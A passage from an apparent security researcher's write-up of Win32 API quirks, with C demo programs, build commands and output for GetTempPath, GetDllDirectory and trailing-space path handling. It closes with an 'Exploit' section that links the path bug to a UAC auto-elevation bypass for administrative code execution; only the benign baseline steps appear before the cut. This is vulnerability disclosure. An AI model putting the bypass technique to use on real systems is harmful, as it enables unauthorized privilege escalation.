    OUCH²: although the directory name is valid, GetTempFileName() fails with Win32 error code 267 alias ERROR_DIRECTORY, i.e. The directory name is invalid. instead of Win32 error code 3 alias ERROR_PATH_NOT_FOUND, i.e. The system cannot find the path specified.

    OUCH³: if the environment variables TMP, TEMP or USERPROFILE are set to a DOS device name (with or without a trailing colon), GetTempPath() returns the corresponding Win32 device name followed by a backslash instead of Win32 error code 267 alias ERROR_DIRECTORY!

  5. Execute the batch script quirk10.cmd created in step 3. on Windows 8 (or a later version):

    .\quirk10.cmd
    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "C:\ProgramData"
    SET T
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF791.tmp'
    
    SET TMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpF7A1.tmp'
    
    SET TEMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmpF7A9.tmp'
    
    SET USERPROFILE=
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmpF7B1.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname '' of 277 characters
    GetTempFileName() returned pathname '\tmpF7C7.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 146 characters
    GetTempFileName() returned error 267
    
    SET TEMP=C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw\' of 131 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of 130 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname '' of 276 characters
    GetTempFileName() returned pathname '\tmpF7D1.tmp'
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\' of 15 characters
    GetTempFileName() returned pathname 'C:\ProgramData\tmpF7D9.tmp'
    
    SET TMP=..
    GetTempPath() returned pathname 'C:\' of 3 characters
    GetTempFileName() returned pathname 'C:\tmpF7DF.tmp'
    
    SET TMP=%USERPROFILE%\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of 48 characters
    GetTempFileName() returned error 267
    
    SET TMP=%SystemRoot%\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of 33 characters
    GetTempFileName() returned error 267
    
    SET TMP=NUL:
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters
    GetTempFileName() returned error 267
    
    0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    EXIT /B
    OUCH⁴: contrary to its documentation cited above, the Win32 function GetTempPath() returns values greater than 261 (= MAX_PATH + 1)!

    OUCH⁵: the documentation also fails to tell that the Win32 function GetTempFileName() adds a backslash in front of the file name if the directory path name does not end with a backslash!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 11

The eleventh quirk is the amalgamation of the two preceding quirks, it proves the documentation for the GetTempPath() function wrong in another point and shows again its misbehaviour.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk11.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!SetEnvironmentVariable(L"TMP", L""))
    			PrintConsole(hConsole,
    			             L"SetEnvironmentVariable(\"TMP\", \"\") returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetTempPath() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetTempPath() returned pathname \'%ls\' of %lu characters\n",
    				             szBuffer, dwBuffer);
    
    				if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
    					PrintConsole(hConsole,
    					             L"GetTempFileName() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"GetTempFileName() returned pathname \'%ls\'\n",
    					             szBuffer);
    
    					if (!DeleteFile(szBuffer))
    						PrintConsole(hConsole,
    						             L"DeleteFile() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk11.exe from the source file quirk11.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk11.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk11.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk11.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk11.exe
    quirk11.obj
  3. Execute the console application quirk11.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk11.exe
    GetTempPath() returned pathname '' of 1 characters
    GetTempFileName() returned pathname '\tmp3A97.tmp'
    Oops: the Win32 function GetTempPath() returns the number of characters including the terminating NUL character when the environment variable TMP has an empty value!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 12

The Win32 function GetDllDirectory() is documented in the MSDN as follows:
Retrieves the application-specific portion of the search path used to locate DLLs for the application.
DWORD GetDllDirectory(
  DWORD  nBufferLength,
  LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Note: designed and implemented properly, this function would return the value of nBufferLength for failure, supporting successful retrieval of empty strings!

In addition to the quirk bug demonstrated below, the documentation fails to tell that lpBuffer can be 0 alias NULL if nBufferLength is 0 too.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk12.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwCount;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetDllDirectory(0, szBuffer);
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetDllDirectory(0, 0x%p) returned error %lu\n",
    			             szBuffer, dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetDllDirectory(0, 0x%p) returned buffer size %lu\n",
    			             szBuffer, dwBuffer);
    
    			SetLastError('FAIL');
    
    			dwCount = GetDllDirectory(dwBuffer, szBuffer);
    
    			if (dwCount == 0)
    				PrintConsole(hConsole,
    				             L"GetDllDirectory(%lu, 0x%p) returned error %lu\n",
    				             dwBuffer, szBuffer, dwError = GetLastError());
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk12.exe from the source file quirk12.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk12.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk12.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk12.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk12.exe
    quirk12.obj
  3. Execute the console application quirk12.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk12.exe
    SET /A 0x4641494C
    GetDllDirectory(0, 0x003EF948) returned buffer size 1
    GetDllDirectory(1, 0x003EF948) returned error 1178683724
    1178683724
    OUCH: when no application-specific DLL search path is set, the Win32 function GetDllDirectory() returns 0, but fails to (re)set the Win32 error code 0 alias ERROR_SUCCESS to indicate no error!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 13

The Win32 functions FindFirstFile(), FindFirstFileEx(), GetFullPathName(), GetLongPathName() and GetShortPathName() are documented in the MSDN as follows:
Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).

[…]

HANDLE FindFirstFile(
  LPCTSTR           lpFileName,
  LPWIN32_FIND_DATA lpFindFileData
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.

Searches a directory for a file or subdirectory with a name and attributes that match those specified.

[…]

HANDLE FindFirstFileEx(
  LPCTSTR            lpFileName,
  FINDEX_INFO_LEVELS fInfoLevelId,
  LPVOID             lpFindFileData,
  FINDEX_SEARCH_OPS  fSearchOp,
  LPVOID             lpSearchFilter,
  DWORD              dwAdditionalFlags
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

Retrieves the full path and file name of the specified file.

[…]

DWORD GetFullPathName(
  LPCTSTR lpFileName,
  DWORD   nBufferLength,
  LPTSTR  lpBuffer,
  LPTSTR  *lpFilePart
);
[…]

This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.

[…]

If the return value is greater than or equal to the value specified in nBufferLength, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
Converts the specified path to its long form.

[…]

DWORD GetLongPathName(
  LPCTSTR lpszShortPath,
  LPTSTR  lpszLongPath,
  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.

If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.

If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.

[…]

If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.

If the return value is greater than the value specified in cchBuffer, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
Retrieves the short path form of the specified path.

[…]

DWORD GetShortPathName(
  LPCTSTR lpszLongPath,
  LPTSTR  lpszShortPath,
  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.

If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.

If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.

[…]

If the return value is greater than the value specified in the cchBuffer parameter, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
[…]

If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk13.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WIN32_FIND_DATA	wfd;
    
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError;
    	BOOL	bFind = FALSE;
    	HANDLE	hFind;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    #ifdef DEVICE
    		hFind = FindFirstFile(L"..\\NUL:", &wfd);
    #else
    		hFind = FindFirstFile(L"Quirk13 \\*", &wfd);
    #endif
    		if (hFind == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"FindFirstFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			do
    				PrintConsole(hConsole,
    				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
    				             bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
    			while (bFind = FindNextFile(hFind, &wfd));
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_NO_MORE_FILES)
    				dwError = ERROR_SUCCESS;
    			else
    				PrintConsole(hConsole,
    				             L"FindNextFile() returned error %lu\n",
    				             dwError);
    
    			if (!FindClose(hFind))
    				PrintConsole(hConsole,
    				             L"FindClose() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #ifdef DEVICE
    		dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #else
    		dwBuffer = GetFullPathName(L"Quirk13 \\*", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		hFind = FindFirstFile(L"..\\NUL:", &wfd);
    #else
    		hFind = FindFirstFile(L"Quirk13 \\.", &wfd);
    #endif
    		if (hFind == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"FindFirstFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			do
    				PrintConsole(hConsole,
    				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
    				             bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
    			while (bFind = FindNextFile(hFind, &wfd));
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_NO_MORE_FILES)
    				dwError = ERROR_SUCCESS;
    			else
    				PrintConsole(hConsole,
    				             L"FindNextFile() returned error %lu\n",
    				             dwError);
    
    			if (!FindClose(hFind))
    				PrintConsole(hConsole,
    				             L"FindClose() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #ifdef DEVICE
    		dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #else
    		dwBuffer = GetFullPathName(L"Quirk13 \\.", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		dwBuffer = GetLongPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #else
    		dwBuffer = GetLongPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetLongPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetLongPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		dwBuffer = GetShortPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #else
    		dwBuffer = GetShortPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetShortPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetShortPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk13.exe from the source file quirk13.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk13.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk13.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk13.c
    quirk13.c(63) : warning C4706: assignment within conditional expression
    quirk13.c(107) : warning C4706: assignment within conditional expression
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk13.exe
    quirk13.obj
  3. Execute the console application quirk13.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk13.exe
    MKDIR "Quirk13 \"
    .\quirk13.exe
    RMDIR "Quirk13 \"
    MKDIR Quirk13
    .\quirk13.exe
    RMDIR Quirk13
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    FindFirstFile() returned error 3
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned error 2
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned error 2
    GetShortPathName() returned error 2
    FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010
    FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned error 2
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned error 2
    GetShortPathName() returned error 2
    FindFirstFile() returned error 3
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned filename 'Quirk13' with alternate (8.3) filename '' and attributes 0x00000010
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned pathname 'Quirk13\.' of 9 characters
    GetShortPathName() returned pathname 'Quirk13 \.' of 10 characters
    OUCH¹: the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() misinterpret the directory name …\Quirk13 \. as …\Quirk13!

    OUCH²: contrary to its documentation cited above, the Win32 function FindFirstFile() does not return INVALID_HANDLE_VALUE with Win32 error code 2 alias ERROR_FILE_NOT_FOUND set if the (empty) directory …\Quirk13 \ exists!

    OUCH³: contrary to their documentation cited above, the Win32 functions GetLongPathName() and GetShortPathName() do not return zero with Win32 error code 3 alias ERROR_PATH_NOT_FOUND set if the directory …\Quirk13\ exists!

    OUCH⁴: the Win32 function GetShortPathName() returns the not existing (relative) path name Quirk13 \. if the directory …\Quirk13\ exists!

Note: the evaluation of the (mis)behaviour with the Win32 functions FindFirstFileEx(), FindFirstFileTransacted(), GetFullPathNameTransacted() and GetLongPathNameTransacted() is left as an exercise to the reader.

Note: the evaluation of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing dots followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The Win32 functions GetFullPathName() and GetLongPathName() are used (direct and indirect) by the security theatre UAC to verify two of the three preconditions required for auto-elevation of applications: They are also used by SAFER alias Software Restriction Policies to evaluate path rules.

Note: the well-known bug of the Win32 functions is documented as CWE-41: Improper Resolution of Path Equivalence, CWE-46: Path Equivalence: 'filename ' (Trailing Space), CWE-162: Improper Neutralization of Trailing Special Elements and CWE-163: Improper Neutralization of Multiple Trailing Special Elements in the CWE.

Exploit

Log on to the user account created during Windows Setup and start the Command Processor unelevated, then perform the following 11 steps to exploit the bugs demonstrated above and show a UAC bypass including arbitrary code execution with administrative privileges and access rights.

Note: the command lines can be copied and pasted as blocks into a Command Processor window!

Steps 1. to 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the bugs, and step 11. cleans up.

  1. Execute KTMUtil.exe to verify that the Command Processor runs without administrative privileges and access rights.

    CHDIR /D "%SystemRoot%"
    System32\KTMUtil.exe
    The KTMUTIL utility requires that you have administrative privileges.
  2. [Screen shot of 'User Accounts' dialog] Load and execute NetPlWiz.dll to display the User Accounts dialog box:

    System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
    Note: the TechNet article PassportWizardRunDll documents another (now removed) function of NetPlWiz.dll that is was supposed to be called this way too.
  3. [Screen shot of 'Printer Settings' dialog] Load and execute PrintUI.dll to display a dialog box with the usage instructions of its PrintUIEntry() function, as documented in the TechNet article Rundll32 printui.dll,PrintUIEntry:

    System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?

  4. [Screen shot of error message for error 1114 alias ERROR_DLL_INIT_FAILED] Load and execute ShUnimpl.dll to let RunDLL32.exe display an error message box:

    System32\RunDLL32.exe System32\ShUnimpl.dll,#0
    Note: ShUnimpl.dll is the graveyard for obsolete and now unimplemented functions of Windows’ shell from prior versions of Windows NT; to inhibit their use, its _DllMainCRTStartup() entry point function intentionally returns FALSE and lets the Win32 function LoadLibrary() fail with Win32 error code 1114 alias ERROR_DLL_INIT_FAILED.
  5. Execute MMC.exe to trigger a (blue) UAC prompt that shows Verified Publisher: Microsoft Windows:

    System32\MMC.exe
    Note: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
  6. Execute the auto-elevating PrintUI.exe to load PrintUI.dll and display its Printer Settings dialog box without triggering a UAC prompt:

    System32\NetPlWiz.exe
  7. Execute the auto-elevating NetPlWiz.exe to load NetPlWiz.dll and display its User Accounts dialog box without triggering a UAC prompt:

    System32\PrintUI.exe
